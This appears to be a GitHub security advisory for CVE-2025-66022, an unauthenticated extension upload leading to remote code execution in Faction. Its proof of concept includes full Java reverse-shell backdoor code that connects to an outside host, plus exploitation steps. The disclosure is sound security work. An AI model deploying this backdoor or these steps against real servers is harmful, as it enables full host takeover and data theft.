Skip to content

Unauthenticated Custom Extension Upload leads to RCE

Critical
summitt published GHSA-xr72-2g43-586w Nov 25, 2025

Package

com.fuse (Faction)

Affected versions

<= 1.7.0

Patched versions

None

Description

Summary

An extension execution path in Faction’s extension framework permits untrusted extension code to execute arbitrary system commands on the server when a lifecycle hook is invoked, resulting in remote code execution (RCE) on the host running Faction. Due to a missing authentication check on the /portal/AppStoreDashboard endpoint, an attacker can access the extension management UI and upload a malicious extension without any authentication, making this vulnerability exploitable by unauthenticated users.

Details

A critical security vulnerability exists in Faction’s extension handling mechanism. The endpoint responsible for managing and uploading extensions (/portal/AppStoreDashboard) is exposed without authentication or authorization controls. As a result, any unauthenticated user can access the extension dashboard and upload custom JAR extensions.

Once uploaded, Faction automatically loads and executes these extension JARs without code signing, validation, sandboxing, or isolation. When the application triggers extension lifecycle hooks (e.g., during report generation or other workflows), the malicious extension’s code is executed inside the application’s JVM with the same OS-level privileges as the Faction server process.

This allows an attacker to run arbitrary operating system commands, spawn shells, or fully compromise the underlying host without requiring admin privileges or any form of authentication. The vulnerability is triggered as soon as any normal workflow invokes the extension hook.

PoC

  1. Clone Faction from the official repository.
  2. Build the application and Docker image from docker-compose-dev.yml
mvn clean package -DskipTests && docker compose -f docker-compose-dev.yml build
  1. Run the development container
docker compose -f docker-compose-dev.yml up
  1. Navigate to /portal/AppStoreDashboard, observe that the full extension management UI is accessible without authentication.
  2. Create the malicious extension, by modifing the IP address and the Port in the below PoC extension and build the extension jar implementing the extension interface used by Faction for report lifecycle hooks (in this case the ReportManager interface / reportCreate method). In the PoC I developed, reportCreate(...) executes code that spawns an OS shell and connects to a remote host.
package com.faction.rce;

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketTimeoutException;
import java.util.Arrays;
import java.util.List;
import java.util.Map;

import com.faction.elements.Assessment;
import com.faction.elements.BaseExtension;
import com.faction.elements.Vulnerability;
import com.faction.extender.ReportManager;

public class RCEExtension extends BaseExtension implements ReportManager {

    private String            seed   = "elitebaz";
    private String            ip_addr= "172.29.32.1";
    private int               port   = 4444;
    private InetSocketAddress addr   = new InetSocketAddress(this.ip_addr, this.port);;
    private String            os     = null;
    private String            shell  = null;
    private byte[]            buffer = null;
    private int               clen   = 0;
    private boolean           error  = false;

    private boolean detect() {
        boolean detected = true;
        this.os = System.getProperty("os.name").toUpperCase();
        if (this.os.contains("LINUX") || this.os.contains("MAC")) {
            this.os    = "LINUX";
            this.shell = "/bin/sh";
        } else if (this.os.contains("WIN")) {
            this.os    = "WINDOWS";
            this.shell = "cmd.exe";
        } else {
            detected   = false;
            System.out.print("SYS_ERROR: Underlying operating system is not supported, program will now exit...\n");
        }
        return detected;
    }
    
    private void brw(InputStream input, OutputStream output, String iname, String oname) {
        int bytes = 0;
        try {
            do {
                if (this.os.equals("WINDOWS") && iname.equals("STDOUT") && this.clen > 0) {
                    do {
                        bytes = input.read(this.buffer, 0, this.clen >= this.buffer.length ? this.buffer.length : this.clen);
                        this.clen -= this.clen >= this.buffer.length ? this.buffer.length : this.clen;
                    } while (bytes > 0 && this.clen > 0);
                } else {
                    bytes = input.read(this.buffer, 0, this.buffer.length);
                    if (bytes > 0) {
                        output.write(this.buffer, 0, bytes);
                        output.flush();
                        if (this.os.equals("WINDOWS") && oname.equals("STDIN")) {
                            this.clen += bytes;
                        }
                    } else if (iname.equals("SOCKET")) {
                        this.error = true;
                        System.out.print("SOC_ERROR: Shell connection has been terminated\n\n");
                    }
                }
            } while (input.available() > 0);
        } catch (SocketTimeoutException ex) {} catch (IOException ex) {
            this.error = true;
            System.out.print(String.format("STRM_ERROR: Cannot read from %s or write to %s, program will now exit...\n\n", iname, oname));
        }
    }
    
    public void run() {
        if (this.detect()) {
            Socket       client  = null;
            OutputStream socin   = null;
            InputStream  socout  = null;
            
            Process      process = null;
            OutputStream stdin   = null;
            InputStream  stdout  = null;
            InputStream  stderr  = null;
            
            try {
                client = new Socket();
                client.setSoTimeout(100);
                client.connect(this.addr);
                socin  = client.getOutputStream();
                socout = client.getInputStream();
                
                this.buffer = new byte[1024];
                
                process = new ProcessBuilder(this.shell).redirectInput(ProcessBuilder.Redirect.PIPE).redirectOutput(ProcessBuilder.Redirect.PIPE).redirectError(ProcessBuilder.Redirect.PIPE).start();
                stdin   = process.getOutputStream();
                stdout  = process.getInputStream();
                stderr  = process.getErrorStream();
                
                System.out.print("Backdoor is up and running...\n\n");
                do {
                    if (!process.isAlive()) {
                        System.out.print("PROC_ERROR: Shell process has been terminated\n\n"); break;
                    }
                    this.brw(socout, stdin, "SOCKET", "STDIN");
                    if (stderr.available() > 0) { this.brw(stderr, socin, "STDERR", "SOCKET"); }
                    if (stdout.available() > 0) { this.brw(stdout, socin, "STDOUT", "SOCKET"); }
                } while (!this.error);
                System.out.print("Backdoor will now exit...\n");
            } catch (IOException ex) {
                System.out.print(String.format("ERROR: %s\n", ex.getMessage()));
            } finally {
                if (stdin   != null) { try { stdin.close() ; } catch (IOException ex) {} }
                if (stdout  != null) { try { stdout.close(); } catch (IOException ex) {} }
                if (stderr  != null) { try { stderr.close(); } catch (IOException ex) {} }
                if (process != null) { process.destroy(); }
                
                if (socin  != null) { try { socin.close() ; } catch (IOException ex) {} }
                if (socout != null) { try { socout.close(); } catch (IOException ex) {} }
                if (client != null) { try { client.close(); } catch (IOException ex) {} }
                
                if (this.buffer != null) { Arrays.fill(this.buffer, (byte)0); }
            }
        }
    }

    @Override
    public String reportCreate(Assessment assessment, List<Vulnerability> vulns, String reportText) {
        this.run();
        System.gc();
        return reportText;
    }
}
  1. Upload and install the extension via the unauthenticated access to the path /portal/AppStoreDashboard.
  2. Open a netcat listener on the port added in the extension code.
  3. Create or open an assessment and trigger the workflow that calls the extension hook from an existing user on the system (e.g., generate a report that invokes reportCreate or perform the operation that the extension subscribes to).
  4. Observe that the extension code runs under the server process, the PoC opens a reverse shell, demonstrating RCE.

Impact

  • All assessment data, templates, credentials, and database contents may be exfiltrated.
  • Attackers can modify reports, templates, or code and insert or remove findings.
  • Server can be stopped, processes killed, or storage encrypted.
  • Attackers can have full control of the server if the application ran as root.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

CVE ID

CVE-2025-66022

Weaknesses

Inclusion of Functionality from Untrusted Control Sphere

The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere. Learn more on MITRE.

Credits